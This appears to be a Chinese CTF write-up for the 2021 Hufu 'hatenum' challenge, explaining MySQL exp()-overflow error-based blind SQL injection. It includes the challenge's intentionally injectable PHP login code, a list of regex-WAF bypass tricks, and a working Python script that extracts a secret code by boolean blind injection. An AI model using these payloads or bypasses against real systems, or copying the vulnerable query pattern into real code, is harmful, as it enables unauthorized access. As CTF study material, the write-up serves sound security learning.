2021-虎符网络安全赛道-hatenum | exp()函数与正则过滤

这个题目很有意思,值得去复现一下

一、exp( )函数

1、MySQL中的exp()函数用于将E提升为指定数字X的幂,这里E(2.718281 …)是自然对数的底数,exp()函数在sql注入里面exp函数一般被用做报错注入(mysql<5.5.53)里面输出报错信息

2、这里注入利用的是Double溢出,exp(x) 含义为e的x次方,当x>709时就超过了double的取值范围造成报错输出

3、我们可以用 ~ 运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 Double 数组范围,从而报错输出

二、过程

🍺一个登录表单

在这里插入图片描述

🍺给出了源码,查看一下源码

<?php
error_reporting(0);
session_start();
class User{
	public $host = "localhost";
	public $user = "root";
	public $pass = "123456";
	public $database = "ctf";
	public $conn;
	function __construct(){
		$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
		if(mysqli_connect_errno()){
			die('connect error');
		}
	}
	function find($username){
		$res = $this->conn->query("select * from users where username='$username'");
		if($res->num_rows>0){
			return True;
		}
		else{
			return False;
		}

	}
	function register($username,$password,$code){
		if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
			return True;
		}
		else{
			return False;
		}
	}
	function login($username,$password,$code){
		$res = $this->conn->query("select * from users where username='$username' and password='$password'");
		if($this->conn->error){
			return 'error';
		}
		else{
			$content = $res->fetch_array();
			if($content['code']===$_POST['code']){
				$_SESSION['username'] = $content['username'];
				return 'success';
			}
			else{
				return 'fail';
			}
		}

	}
}

function sql_waf($str){
	if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
		die('Hack detected');
	}
}

function num_waf($str){
	if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
		die('Huge num detected');
	}
}

function array_waf($arr){
	foreach ($arr as $key => $value) {
		if(is_array($value)){
			array_waf($value);
		}
		else{
			sql_waf($value);
			num_waf($value);
		}
	}
}

🍺1、主要是正则表达过滤

绕过账号密码检测

username=admin
password=||1#
select * from users where username='admin' and password='||1#'

针对code的检测,看下sql_waf, 因为返回的内容有限,所以只能使用布尔盲注

🍺2、盲注通常会用到几个关键关键字:字符串截取类(substr)、条件判断类(if)、语句分割类(空格、/**/)、逻辑运算类(and、or)

字符串截取类

禁用:substr、left、right、mid

绕过: like、rlike、instr

其中like与rlike的区别是 rlike支持正则表达式,而like只支持如%,_等有限的通配符,like可以近似于"="

语句分割

禁用: 空格、r(%0d)、n(%0a)、t(%09)、/**/

语句之间分割常常使用空格

绕过: %a0(&nbsp)、%0b(垂直制表符)、%0c(换页符)

逻辑运算

禁用: and、or、=、>、<、regexp

绕过: &&、||、 like、greatest、least

条件判断

禁用: 因为禁用了,,所以if 语句没发使用

🍺3、exp()函数除了能用在报错注入以外,利用exp在参数大于709时会报错的特性可以用来构造条件判断语句

||exp(710-(... rlike ...))

即如果 (... rlike ...) 中的语句执行匹配后的结果为True,经过减号转换后为 exp(710-1) 后不会溢出;若为false,转换为 exp(710-0) 后则会溢出并报错

🍺4、有了前面所有的绕过,就能构造语句进行code值注入了,可以判断code 长度,进而猜解code字段具体值

因为' 被过滤,所以rlike后面不能出现字符串,需要 将正则表达式 ^xxx 转换成十六进制

同时num_waf 有个判断十六进制位数不能超过9位,既字符串不能超过4位(一个字母对应2个十六进制数),所以在包含正则^以外的字符串超过3位时需要不断做替换,用3位字符串去匹配下一位

🍺代码

import requests as r
import string

url = "http://29d68ff8-0fbd-47e4-9de4-3702f4bb7a55.node4.buuoj.cn:81"
pt = string.ascii_letters+string.digits+"$"
# string.ascii_letters 所有字母  string.digits 所有数字


def str2hex(raw):
    ret = '0x'
    for i in raw:
    
        # ord 返回对应的ASCII数值,hex 返回16进制数,以字符串形式表示,rjust返回一个长度为2的字符串,不够用0替补
        # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
        ret += hex(ord(i))[2:].rjust(2,'0')
    return ret

ans = ""
tmp = "^"

for i in range(24):
    for ch in pt:

        payload = f"||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+ch)}))#"

        payload = payload.replace(' ',  chr(0x0c)) # 0c 换页键

        data = {
            "username":"eki\\",
            "password":payload,
            "code":"1"
        }

        req = r.post(url+"/login.php",data=data,allow_redirects=False) 
        # 其实allow_redirects默认是True,所以是默认跳转

        if 'fail' in req.text:
            ans += ch
            print(tmp+ch,ans)
            if len(tmp) == 3:
                tmp = tmp[1:]+ch
            else:
                tmp += ch

            break

'''
^e e
^er er
^erg erg
ergh ergh
rghr erghr     
ghru erghru
hrui erghrui
ruig erghruig
uigh erghruigh
igh2 erghruigh2       
gh2u erghruigh2u
h2uy erghruigh2uy
2uyg erghruigh2uyg
uygh erghruigh2uygh
ygh2 erghruigh2uygh2
gh2u erghruigh2uygh2u
h2uy erghruigh2uygh2uy
2uyg erghruigh2uygh2uyg
uygh erghruigh2uygh2uygh     
'''

rev_ans = ""
tmp = "$"

for i in range(24):
    for ch in pt:

        payload = f"||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(ch+tmp)}))#"
        #print(payload)

        payload = payload.replace(' ',chr(0x0c))

        data = {
            "username":"eki\\",
            "password":payload,
            "code":"1"
        }

        req = r.post(url+"/login.php",data=data,allow_redirects=False)

        if 'fail' in req.text:
            rev_ans = ch+rev_ans
            print(ch+tmp,rev_ans)
            if len(tmp) == 3:
                tmp = ch+tmp[:-1]
            else:
                tmp = ch+tmp

            break

'''
g$ g
ig$ ig
2ig$ 2ig
32ig 32ig
u32i u32ig
iu32 iu32ig
uiu3 uiu32ig
3uiu 3uiu32ig
23ui 23uiu32ig
h23u h23uiu32ig
gh23 gh23uiu32ig
igh2 igh23uiu32ig
uigh uigh23uiu32ig
ruig ruigh23uiu32ig
hrui hruigh23uiu32ig
ghru ghruigh23uiu32ig
rghr rghruigh23uiu32ig
ergh erghruigh23uiu32ig
'''

data = {
    "username":"admin\\",
    "password":"||1#",
    "code":"erghruigh2uygh23uiu32ig"
}

req = r.post(url+"/login.php",data=data)

print(req.text)

代码运行

在这里插入图片描述
直接解出flag

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值